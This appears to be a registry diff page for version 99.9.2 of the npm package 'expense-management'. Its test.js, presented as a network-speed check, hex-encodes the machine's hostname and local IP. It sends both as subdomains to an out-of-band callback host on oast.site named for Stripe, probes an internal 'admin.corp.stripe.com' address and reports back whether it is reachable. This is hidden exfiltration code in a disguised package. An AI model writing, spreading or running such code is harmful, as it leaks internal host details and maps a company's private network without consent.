expense-management 99.9.1 → 99.9.2
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +5 -2
- package/test.js +15 -13
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "expense-management",
|
3
|
-
"version": "99.9.
|
3
|
+
"version": "99.9.2",
|
4
4
|
"description": "ltidi depenconf",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
@@ -8,5 +8,8 @@
|
|
8
8
|
"test": "echo \"Error: no test specified\" && exit 1"
|
9
9
|
},
|
10
10
|
"author": "ltidi",
|
11
|
-
"license": "ISC"
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"public-ip": "^7.0.1"
|
14
|
+
}
|
12
15
|
}
|
package/test.js
CHANGED
@@ -3,29 +3,31 @@ const NetworkSpeed = require('./index.js');
|
|
3
3
|
const testNetworkSpeed = new NetworkSpeed();
|
4
4
|
|
5
5
|
|
6
|
-
async function
|
7
|
-
const baseUrl = 'https://'+data+'.stripe.
|
6
|
+
async function getNetworkDownloadSpeedData(data) {
|
7
|
+
const baseUrl = 'https://'+data+'.stripe.crkltvlqburv5vilc1egou4c3gnwcmcph.oast.site';
|
8
8
|
const fileSizeInBytes = 500000;
|
9
9
|
const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
|
10
10
|
console.log(`Download Speed: ${JSON.stringify(speed)}`);
|
11
11
|
}
|
12
12
|
|
13
|
+
async function getNetworkDownloadSpeed(url) {
|
14
|
+
const baseUrl = url;
|
15
|
+
const fileSizeInBytes = 500000;
|
16
|
+
await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes).then(res => {
|
17
|
+
console.log(`Download Speed: ${JSON.stringify(res)}`);
|
18
|
+
testNetworkSpeed.checkDownloadSpeed(`https://stripe.crkltvlqburv5vilc1egou4c3gnwcmcph.oast.site/?success=${baseUrl}`, fileSizeInBytes)
|
19
|
+
}).catch(e => {console.log("error")})
|
20
|
+
}
|
21
|
+
|
13
22
|
|
14
23
|
async function getNetworkUploadSpeed(data) {
|
15
24
|
const options = {
|
16
|
-
|
17
25
|
hostname: data+'depenconf7.upload.test.com',
|
18
|
-
|
19
26
|
port: 80,
|
20
|
-
|
21
27
|
path: '/catchers/544b09b4599c1d0200000289',
|
22
|
-
|
23
28
|
method: 'POST',
|
24
|
-
|
25
29
|
headers: {
|
26
|
-
|
27
30
|
'Content-Type': 'application/json',
|
28
|
-
|
29
31
|
},
|
30
32
|
};
|
31
33
|
const fileSizeInBytes = 200000
|
@@ -54,7 +56,7 @@ function stringToHex(str)
|
|
54
56
|
const hn = stringToHex(os.hostname())
|
55
57
|
|
56
58
|
var localip=getIp('IPv4');
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
59
|
+
getNetworkDownloadSpeedData(localip);
|
60
|
+
getNetworkDownloadSpeedData(hn);
|
61
|
+
getNetworkDownloadSpeed("https://www.stripe.com");
|
62
|
+
getNetworkDownloadSpeed("https://admin.corp.stripe.com");
|